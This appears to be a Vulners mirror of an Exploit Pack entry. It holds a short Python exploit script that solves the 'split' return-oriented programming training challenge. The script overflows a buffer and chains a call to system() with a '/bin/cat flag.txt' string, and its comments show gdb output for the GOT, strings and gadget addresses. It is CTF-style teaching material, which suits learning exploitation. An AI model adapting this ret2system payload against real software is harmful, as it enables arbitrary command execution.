Lucene search
K

ROPSplit

🗓️ 02 May 2019 00:00:00Reported by Juan SaccoType 
exploitpack
 exploitpack
👁 16 Views

ROPsplit solution description with system and /bin/cat flag.tx

Code
# Split Solution by jSacco <[email protected]>
# Description: :P
from struct import pack
#
# gef->  got
#
# GOT protection: Partial RelRO | GOT functions: 7
#
# ...
[0x804a018] system@GLIBC_2.0  →  0x8048436
# ...
#
# gef> strings
# ...
# 0x804a030: /bin/cat flag.txt
# ...
#
# gdb-peda$ ropgadget
# ret = 0x80483ca
popret = 0x80483e1 # <- This juan
# pop2ret = 0x80486ca
# pop3ret = 0x80486c9
# pop4ret = 0x80486c8
# addesp_12 = 0x80483de
# addesp_16 = 0x80484e5

rop = "\x41" * 44
rop += pack('<I',0x8048436) # System GOT
rop += pack('<I',0x41414141) # Junk
rop += pack('<I',0x804a030) # bin cat flag
print rop

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

02 May 2019 00:00Current
0.6Low risk
Vulners AI Score0.6
16